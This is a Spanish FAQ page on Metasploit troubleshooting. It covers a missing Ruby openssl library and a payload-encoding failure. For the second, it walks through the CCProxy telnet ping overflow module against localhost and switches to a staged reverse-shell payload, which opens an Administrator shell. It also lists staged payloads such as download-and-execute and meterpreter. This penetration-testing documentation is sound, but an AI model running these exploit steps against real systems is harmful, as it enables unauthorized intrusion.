Metasploit/Preguntas Frecuentes


Instalación

editar

Errores

editar

no such file to load -- openssl (LoadError)

editar

P: Cuando ejecuto Metasploit por primera vez, obtengo el error: no such file to load -- openssl (LoadError)

  • Ejemplo:
[~/metasploit]# ./msfgui
./lib/rex/socket/ssl_tcp_server.rb:4:in `require': no such file to load -- openssl (LoadError)
        from ./lib/rex/socket/ssl_tcp_server.rb:4
        from ./lib/rex/socket/comm/local.rb:5:in `require'
        from ./lib/rex/socket/comm/local.rb:5
        from ./lib/rex/socket.rb:22:in `require'
        from ./lib/rex/socket.rb:22
        from ./lib/rex.rb:71:in `require'
        from ./lib/rex.rb:71
        from ./msfgui:10:in `require'
        from ./msfgui:10

R: Metasploit requiere la implementación de Ruby de openssl - no la implementación estándar de C de openssl usada por Apache etc. Instale la biblioteca necesaria de ruby-openssl.

  • Ejemplo (para Debian - comprueba tu SO o intenta usando gem):
pwebster@metasploit:~$ apt-cache search ruby | grep openssl
libopenssl-ruby - OpenSSL interface for Ruby
libopenssl-ruby1.8 - OpenSSL interface for Ruby 1.8
libopenssl-ruby1.9 - OpenSSL interface for Ruby 1.9

pwebster@metasploit:~# apt-get install libopenssl-ruby 

Modulos Exploit

editar

Errores

editar

Exploit failed: No encoders encoded the buffer successfully

editar

P: Después de fijar todos los parametros requeridos por un modulo exploit y ejecutar exploit, recivo el siguiente error: [-] Exploit failed: No encoders encoded the buffer successfully.

  • Ejemplo:
msf > use windows/proxy/ccproxy_telnet_ping
msf exploit(ccproxy_telnet_ping) > info

       Name: CCProxy <= v6.2 Telnet Proxy Ping Overflow
    Version: $Revision$
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License

Provided by:
  Patrick Webster <patrick [at] aushack.com>

Available targets:
  Id  Name                                 
  --  ----                                 
  0   Windows 2000 Pro SP0 - English       
  1   Windows 2000 Pro SP1 - English       
  2   Windows 2000 Pro SP2 - English       
  3   Windows 2000 Pro SP3 - English       
  4   Windows 2000 Pro SP4 - English       
  5   Windows XP SP0/1 - English           
  6   Windows 2003 Server SP0/1 - English  

Basic options:
  Name   Current Setting  Required  Description         
  ----   ---------------  --------  -----------         
  RHOST  127.0.0.1        yes       The target address  
  RPORT  23               yes       The target port     

Payload information:
  Space: 200
  Avoid: 5 characters

Description:
  This module exploits the YoungZSoft CCProxy <= v6.2 suite Telnet 
  service. The stack is overwritten when sending an overly long 
  address to the 'ping' command.

msf exploit(ccproxy_telnet_ping) > set TARGET 4
TARGET => 4
msf exploit(ccproxy_telnet_ping) > set PAYLOAD windows/shell_reverse_tcp 
PAYLOAD => windows/shell_reverse_tcp
msf exploit(ccproxy_telnet_ping) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf exploit(ccproxy_telnet_ping) > check 
[*] The target appears to be vulnerable.
msf exploit(ccproxy_telnet_ping) > exploit 
[-] Exploit failed: No encoders encoded the buffer successfully.

R: Los payloads disponibles (show payloads) son determinados por el espacio de memoria disponible ('Space') para el exploit a usar. En el ejemplo, el espacio para el payload es: 'Space: 200'. Sin embargo, la aplicación objetivo no permite que ciertos caracteres sean usados (generalmente el carácter nulo 0x00 ya que marca el fin de una cadena [character array]). En el ejemplo el payload no permite cinco caracteres: 'Avoid: 5 characters '

Cuando ejecuta el exploit, el generador del payload intentara meter el payload en un espacio de 200, excluyendo 5 caracteres específicos. Esto no siempre es posible, y dará lugar al error: No encoders encoded the buffer successfully.

Sin embargo, no todo está perdido. Metasploit Framework incluye la capacidad de apoyar payloads organizadamente. Un payload organizado es un payload significativamente más pequeño que, en vez de ejecutar la acción deseada (tal como reverse shell), comenzará una plataforma de organizar que pueda entonces agregar a esa plataforma. Entonces en nuestro ejemplo, en vez de una reverse shell completa, lo hará asi:

  1. Crear la plataforma de organizar.
  2. Asignar bastante memoria para sostener el payload deseado.
  3. Obtener el resto del payload de usted.
  4. Ejecutar el payload en total.

Generalmente, todos los exploit organizados son denotados por '/' después del payload deseado. Algunos ejemplos son:

   windows/dllinject/reverse_tcp          Windows Inject DLL, Reverse TCP Stager                                                       
   windows/download_exec/bind_tcp         Windows Executable Download and Execute, Bind TCP Stager                                                                     
   windows/exec/find_tag                  Windows Execute Command, Find Tag Ordinal Stager                                                       
   windows/meterpreter/reverse_tcp        Windows Meterpreter, Reverse TCP Stager                              
   windows/shell/reverse_tcp              Windows Command Shell, Reverse TCP Stager                                                     
   windows/upexec/bind_tcp                Windows Upload/Execute, Bind TCP Stager                           
   windows/vncinject/reverse_ord_tcp      Windows VNC Inject, Reverse Ordinal TCP Stager                       

Ahora que sabemos que no siempre se puede ejecutar un payload 'Íntegro', podemos usar uno organizado en esos casos:

...
msf exploit(ccproxy_telnet_ping) > exploit 
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(ccproxy_telnet_ping) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ccproxy_telnet_ping) > exploit 
[*] Started reverse handler
[*] Trying target Windows 2000 Pro SP4 - English on host 127.0.0.1:23...
[*] Sending stage (474 bytes)
[*] Command shell session 8 opened (127.0.0.1:4444 -> 127.0.0.1:2016)

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\Documents and Settings\Administrator>